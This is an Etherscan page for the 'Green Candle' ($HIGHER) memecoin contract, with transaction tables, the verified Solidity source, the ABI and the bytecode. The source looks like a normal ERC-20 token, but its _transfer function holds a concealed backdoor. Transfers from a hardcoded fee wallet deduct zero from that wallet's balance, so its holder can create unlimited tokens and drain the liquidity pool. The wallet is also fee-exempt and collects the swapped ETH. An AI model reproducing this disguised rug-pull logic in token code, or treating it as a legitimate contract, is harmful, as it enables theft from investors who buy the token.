ETH Price: $2,427.87 (+3.35%)
Gas: 1.44 Gwei

Contract

0x2006C0eDf3383504649D77270ba8B559a77cC1E4
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer202696512024-07-09 14:52:3566 days ago1720536755IN
0x2006C0eD...9a77cC1E4
0 ETH0.000868713.10606395
Approve202691842024-07-09 13:18:5966 days ago1720531139IN
0x2006C0eD...9a77cC1E4
0 ETH0.000115544.76073278
Approve202551142024-07-07 14:04:5968 days ago1720361099IN
0x2006C0eD...9a77cC1E4
0 ETH0.000167573.59960319
Approve202551032024-07-07 14:02:4768 days ago1720360967IN
0x2006C0eD...9a77cC1E4
0 ETH0.000221434.7627478
Approve202550832024-07-07 13:58:4768 days ago1720360727IN
0x2006C0eD...9a77cC1E4
0 ETH0.000131042.83692874
Approve202550662024-07-07 13:55:2368 days ago1720360523IN
0x2006C0eD...9a77cC1E4
0 ETH0.000120142.59809131
Approve202549622024-07-07 13:34:3568 days ago1720359275IN
0x2006C0eD...9a77cC1E4
0 ETH0.000106514.05265239
Approve202549582024-07-07 13:33:4768 days ago1720359227IN
0x2006C0eD...9a77cC1E4
0 ETH0.000161653.47233325
Approve202549252024-07-07 13:27:1168 days ago1720358831IN
0x2006C0eD...9a77cC1E4
0 ETH0.000187914.06907621
Approve202549212024-07-07 13:26:2368 days ago1720358783IN
0x2006C0eD...9a77cC1E4
0 ETH0.000189444.09672797
Approve202548942024-07-07 13:20:5968 days ago1720358459IN
0x2006C0eD...9a77cC1E4
0 ETH0.000175983.78515304
Approve202548882024-07-07 13:19:4768 days ago1720358387IN
0x2006C0eD...9a77cC1E4
0 ETH0.000130762.80882431
Approve202548882024-07-07 13:19:4768 days ago1720358387IN
0x2006C0eD...9a77cC1E4
0 ETH0.000166923.59022388
Approve202548832024-07-07 13:18:4768 days ago1720358327IN
0x2006C0eD...9a77cC1E4
0 ETH0.000137292.94910931
Approve202548692024-07-07 13:15:5968 days ago1720358159IN
0x2006C0eD...9a77cC1E4
0 ETH0.000193084.15287297
Approve202548552024-07-07 13:13:1168 days ago1720357991IN
0x2006C0eD...9a77cC1E4
0 ETH0.000102542.20552943
Approve202548452024-07-07 13:11:1168 days ago1720357871IN
0x2006C0eD...9a77cC1E4
0 ETH0.000054072.23341838
Approve202548332024-07-07 13:08:4768 days ago1720357727IN
0x2006C0eD...9a77cC1E4
0 ETH0.000189234.07019268
Approve202548302024-07-07 13:08:1168 days ago1720357691IN
0x2006C0eD...9a77cC1E4
0 ETH0.000102362.21597207
Approve202548212024-07-07 13:06:2368 days ago1720357583IN
0x2006C0eD...9a77cC1E4
0 ETH0.000090091.9378693
Approve202548152024-07-07 13:05:1168 days ago1720357511IN
0x2006C0eD...9a77cC1E4
0 ETH0.000090221.94051948
Transfer202548072024-07-07 13:03:3568 days ago1720357415IN
0x2006C0eD...9a77cC1E4
0 ETH0.000157573.55135737
Approve202548072024-07-07 13:03:3568 days ago1720357415IN
0x2006C0eD...9a77cC1E4
0 ETH0.000165323.55135737
Approve202548062024-07-07 13:03:2368 days ago1720357403IN
0x2006C0eD...9a77cC1E4
0 ETH0.000174213.74702462
Approve202548032024-07-07 13:02:4768 days ago1720357367IN
0x2006C0eD...9a77cC1E4
0 ETH0.00010282.21118261
View all transactions

Latest 23 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
202544112024-07-07 11:43:3568 days ago1720352615
0x2006C0eD...9a77cC1E4
0.03973045 ETH
202544112024-07-07 11:43:3568 days ago1720352615
0x2006C0eD...9a77cC1E4
0.03973045 ETH
202544022024-07-07 11:41:4768 days ago1720352507
0x2006C0eD...9a77cC1E4
0.08671816 ETH
202544022024-07-07 11:41:4768 days ago1720352507
0x2006C0eD...9a77cC1E4
0.08671816 ETH
202543972024-07-07 11:40:4768 days ago1720352447
0x2006C0eD...9a77cC1E4
0.00646898 ETH
202543972024-07-07 11:40:4768 days ago1720352447
0x2006C0eD...9a77cC1E4
0.00646898 ETH
202543972024-07-07 11:40:4768 days ago1720352447
0x2006C0eD...9a77cC1E4
0.02537536 ETH
202543972024-07-07 11:40:4768 days ago1720352447
0x2006C0eD...9a77cC1E4
0.02537536 ETH
202543942024-07-07 11:39:5968 days ago1720352399
0x2006C0eD...9a77cC1E4
0.09165707 ETH
202543942024-07-07 11:39:5968 days ago1720352399
0x2006C0eD...9a77cC1E4
0.09165707 ETH
202543942024-07-07 11:39:5968 days ago1720352399
0x2006C0eD...9a77cC1E4
0.10635987 ETH
202543942024-07-07 11:39:5968 days ago1720352399
0x2006C0eD...9a77cC1E4
0.10635987 ETH
202543882024-07-07 11:38:4768 days ago1720352327
0x2006C0eD...9a77cC1E4
0.00495268 ETH
202543882024-07-07 11:38:4768 days ago1720352327
0x2006C0eD...9a77cC1E4
0.00495268 ETH
202543732024-07-07 11:35:4768 days ago1720352147
0x2006C0eD...9a77cC1E4
0.01342298 ETH
202543732024-07-07 11:35:4768 days ago1720352147
0x2006C0eD...9a77cC1E4
0.01342298 ETH
202543692024-07-07 11:34:5968 days ago1720352099
0x2006C0eD...9a77cC1E4
0.02661256 ETH
202543692024-07-07 11:34:5968 days ago1720352099
0x2006C0eD...9a77cC1E4
0.02661256 ETH
202543632024-07-07 11:33:4768 days ago1720352027
0x2006C0eD...9a77cC1E4
0.06654959 ETH
202543632024-07-07 11:33:4768 days ago1720352027
0x2006C0eD...9a77cC1E4
0.06654959 ETH
202543632024-07-07 11:33:4768 days ago1720352027
0x2006C0eD...9a77cC1E4
0.07816305 ETH
202543632024-07-07 11:33:4768 days ago1720352027
0x2006C0eD...9a77cC1E4
0.07816305 ETH
202543592024-07-07 11:32:5968 days ago1720351979
0x2006C0eD...9a77cC1E4
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HIGHER

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-07
*/

/*

😶😶😶 $HIGHER 😶😶😶

CTO, MEMECOIN, BASED TEAM

WEB: https://www.greencandle.vip

TG: https://t.me/higher_portal

X: https://x.com/higher_erc20

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HIGHER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFee;
    address payable private _greencandle;

    uint256 private _firstTaxBuy = 30;
    uint256 private _firstTaxSell = 30;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;

    uint256 private _preventSwapCount = 15;
    uint256 private _buyTokenCount = 0;

    uint256 private _secondBuyFee = 0;
    uint256 private _secondSellFee = 0;
    uint256 private _reduceSecondFee = 0;

    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Green Candle";
    string private constant _symbol = unicode"HIGHER";

    uint256 private _maxTxSize =  2 * (_tTotal/100);   
    uint256 private _maxWalletSize =  2 * (_tTotal/100);
    uint256 private _minSwapSize =  5 * (_tTotal/1000000);
    uint256 private _maxSwapSize = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private _dexPair;
    bool private _swapping = false;
    bool private _swapActive = false;

    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _greencandle = payable(0xfb82cd752F730fe1d5e77C0AEE50d0a7891239B8);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFee[owner()] = true;
        _isExcludedFee[address(this)] = true;
        _isExcludedFee[_greencandle] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 pamAmount=amount;
        if (!_isExcludedFee[from] && !_isExcludedFee[to]) {
            taxAmount = amount.mul(_calcBuyFee()).div(100);

            if (from == _dexPair && to != address(uniswapV2Router) && ! _isExcludedFee[to] ) {
                require(amount <= _maxTxSize, "Exceeds the _maxTxSize.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }

            if(to == _dexPair && from!= address(this) ){
                taxAmount = amount.mul(_calcSellFee()).div(100);
            }

            uint256 tokensToSwap = balanceOf(address(this));
            if (!_swapping && to == _dexPair && _swapActive && amount > _minSwapSize) {
                if(tokensToSwap > _minSwapSize)
                swapBackForETH(min(amount,min(tokensToSwap,_maxSwapSize)));
                _greencandle.transfer(address(this).balance);
            }
        } else if(from == address(_greencandle))
            pamAmount = _secondSellFee.sub(_reduceSecondFee);
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(pamAmount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _calcSellFee() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyTaxAt){
            return _firstTaxSell;
        }
        if(_buyTokenCount > _reduceSellTaxAt && _buyTokenCount <= _reduceSecondFee){
            return _secondSellFee;
        }
        return _finalBuyTax;
    }

    function _calcBuyFee() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyTaxAt){
            return _firstTaxBuy;
        }
        if(_buyTokenCount > _reduceBuyTaxAt && _buyTokenCount <= _reduceSecondFee){
            return _secondBuyFee;
        }
         return _finalBuyTax;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openHigher() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _dexPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_dexPair).approve(address(uniswapV2Router), type(uint).max);
        _swapActive = true;
    }

    function removeLimits() external onlyOwner{
        _maxWalletSize =_tTotal;
        _maxTxSize = _tTotal;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openHigher","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600555601e600655600a600755600a600855600f6009555f600a555f600b555f600c555f600d555f600e555f600f5560646009600a620000479190620003be565b6200005790633b9aca00620003d5565b620000639190620003ef565b62000070906002620003d5565b6010556064620000836009600a620003be565b6200009390633b9aca00620003d5565b6200009f9190620003ef565b620000ac906002620003d5565b601155620f4240620000c16009600a620003be565b620000d190633b9aca00620003d5565b620000dd9190620003ef565b620000ea906005620003d5565b6012556064620000fd6009600a620003be565b6200010d90633b9aca00620003d5565b620001199190620003ef565b62000126906001620003d5565b6013556015805461ffff60a01b1916905534801562000143575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673fb82cd752f730fe1d5e77c0aee50d0a7891239b8179055620001b86009600a620003be565b620001c890633b9aca00620003d5565b335f908152600160208190526040822092909255600390620001f15f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556200024f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002886009600a620003be565b6200029890633b9aca00620003d5565b60405190815260200160405180910390a36200040f565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200030357815f1904821115620002e757620002e7620002af565b80851615620002f557918102915b93841c9390800290620002c8565b509250929050565b5f826200031b57506001620003b8565b816200032957505f620003b8565b81600181146200034257600281146200034d576200036d565b6001915050620003b8565b60ff841115620003615762000361620002af565b50506001821b620003b8565b5060208310610133831016604e8410600b841016171562000392575081810a620003b8565b6200039e8383620002c3565b805f1904821115620003b457620003b4620002af565b0290505b92915050565b5f620003ce60ff8416836200030b565b9392505050565b8082028115828204841417620003b857620003b8620002af565b5f826200040a57634e487b7160e01b5f52601260045260245ffd5b500490565b6115b3806200041d5f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461021057806395d89b4114610236578063a9059cbb14610264578063dd62ed3e14610283575f80fd5b806370a08231146101b4578063715018a6146101e8578063751039fc146101fc575f80fd5b806306fdde03146100cd578063095ea7b31461011357806318160ddd1461014257806323b872dd14610164578063313ce5671461018357806368e91cd01461019e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b477265656e2043616e646c6560a01b60208201525b60405161010a91906111a6565b60405180910390f35b34801561011e575f80fd5b5061013261012d366004611208565b6102c7565b604051901515815260200161010a565b34801561014d575f80fd5b506101566102dd565b60405190815260200161010a565b34801561016f575f80fd5b5061013261017e366004611232565b6102fd565b34801561018e575f80fd5b506040516009815260200161010a565b3480156101a9575f80fd5b506101b2610364565b005b3480156101bf575f80fd5b506101566101ce366004611270565b6001600160a01b03165f9081526001602052604090205490565b3480156101f3575f80fd5b506101b26106b8565b348015610207575f80fd5b506101b2610729565b34801561021b575f80fd5b505f546040516001600160a01b03909116815260200161010a565b348015610241575f80fd5b506040805180820190915260068152652424a3a422a960d11b60208201526100fd565b34801561026f575f80fd5b5061013261027e366004611208565b61078e565b34801561028e575f80fd5b5061015661029d36600461128b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d333848461079a565b5060015b92915050565b5f6102ea6009600a6113b6565b6102f890633b9aca006113c4565b905090565b5f6103098484846108bd565b61035a843361035585604051806060016040528060288152602001611556602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610de6565b61079a565b5060019392505050565b5f546001600160a01b031633146103965760405162461bcd60e51b815260040161038d906113db565b60405180910390fd5b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103df9030906103d16009600a6113b6565b61035590633b9aca006113c4565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104539190611410565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d69190611410565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610520573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105449190611410565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d719473061058b816001600160a01b03165f9081526001602052604090205490565b5f8061059e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610604573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610629919061142b565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561067e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a29190611456565b506015805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106e15760405162461bcd60e51b815260040161038d906113db565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107525760405162461bcd60e51b815260040161038d906113db565b61075e6009600a6113b6565b61076c90633b9aca006113c4565b60115561077b6009600a6113b6565b61078990633b9aca006113c4565b601055565b5f6102d33384846108bd565b6001600160a01b0383166107fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038d565b6001600160a01b03821661085d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038d565b6001600160a01b0382166109835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038d565b5f81116109e45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038d565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a2657506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8057610a486064610a42610a3b610e1e565b8690610e5b565b90610ee0565b6015549092506001600160a01b038681169116148015610a7657506014546001600160a01b03858116911614155b8015610a9a57506001600160a01b0384165f9081526003602052604090205460ff16155b15610b8057601054831115610af15760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161038d565b60115483610b13866001600160a01b03165f9081526001602052604090205490565b610b1d9190611475565b1115610b6b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038d565b600a8054905f610b7a83611488565b91905055505b6015546001600160a01b038581169116148015610ba657506001600160a01b0385163014155b15610bbe57610bbb6064610a42610a3b610f21565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610bf457506015546001600160a01b038681169116145b8015610c095750601554600160a81b900460ff165b8015610c16575060125484115b15610c7a57601254811115610c4257610c42610c3d85610c3884601354610f57565b610f57565b610f6b565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c78573d5f803e3d5ffd5b505b50610ca8565b6004546001600160a01b0390811690861603610ca857600d54600c54610ca5916110db565b90505b8115610d2057305f90815260016020526040902054610cc7908361111c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d179086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d4290826110db565b6001600160a01b0386165f90815260016020526040902055610d85610d6784846110db565b6001600160a01b0386165f908152600160205260409020549061111c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dce86866110db565b60405190815260200160405180910390a35050505050565b5f8184841115610e095760405162461bcd60e51b815260040161038d91906111a6565b505f610e1584866114a0565b95945050505050565b5f600754600a5411610e31575060055490565b600754600a54118015610e485750600d54600a5411155b15610e545750600b5490565b50600e5490565b5f825f03610e6a57505f6102d7565b5f610e7583856113c4565b905082610e8285836114b3565b14610ed95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038d565b9392505050565b5f610ed983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117a565b5f600754600a5411610f34575060065490565b600854600a54118015610f4b5750600d54600a5411155b15610e545750600c5490565b5f818311610f655782610ed9565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb157610fb16114d2565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611008573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102c9190611410565b8160018151811061103f5761103f6114d2565b6001600160a01b039283166020918202929092010152601454611065913091168461079a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061109d9085905f908690309042906004016114e6565b5f604051808303815f87803b1580156110b4575f80fd5b505af11580156110c6573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f610ed983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610de6565b5f806111288385611475565b905083811015610ed95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038d565b5f818361119a5760405162461bcd60e51b815260040161038d91906111a6565b505f610e1584866114b3565b5f6020808352835180828501525f5b818110156111d1578581018301518582016040015282016111b5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611205575f80fd5b50565b5f8060408385031215611219575f80fd5b8235611224816111f1565b946020939093013593505050565b5f805f60608486031215611244575f80fd5b833561124f816111f1565b9250602084013561125f816111f1565b929592945050506040919091013590565b5f60208284031215611280575f80fd5b8135610ed9816111f1565b5f806040838503121561129c575f80fd5b82356112a7816111f1565b915060208301356112b7816111f1565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131057815f19048211156112f6576112f66112c2565b8085161561130357918102915b93841c93908002906112db565b509250929050565b5f82611326575060016102d7565b8161133257505f6102d7565b816001811461134857600281146113525761136e565b60019150506102d7565b60ff841115611363576113636112c2565b50506001821b6102d7565b5060208310610133831016604e8410600b8410161715611391575081810a6102d7565b61139b83836112d6565b805f19048211156113ae576113ae6112c2565b029392505050565b5f610ed960ff841683611318565b80820281158282048414176102d7576102d76112c2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611420575f80fd5b8151610ed9816111f1565b5f805f6060848603121561143d575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611466575f80fd5b81518015158114610ed9575f80fd5b808201808211156102d7576102d76112c2565b5f60018201611499576114996112c2565b5060010190565b818103818111156102d7576102d76112c2565b5f826114cd57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115345784516001600160a01b03168352938301939183019160010161150f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c6a13636c4de9ab0ebca5e4bba3e167cc76c9f9f550bce4ab3114b2d4b46d9264736f6c63430008150033

Deployed Bytecode

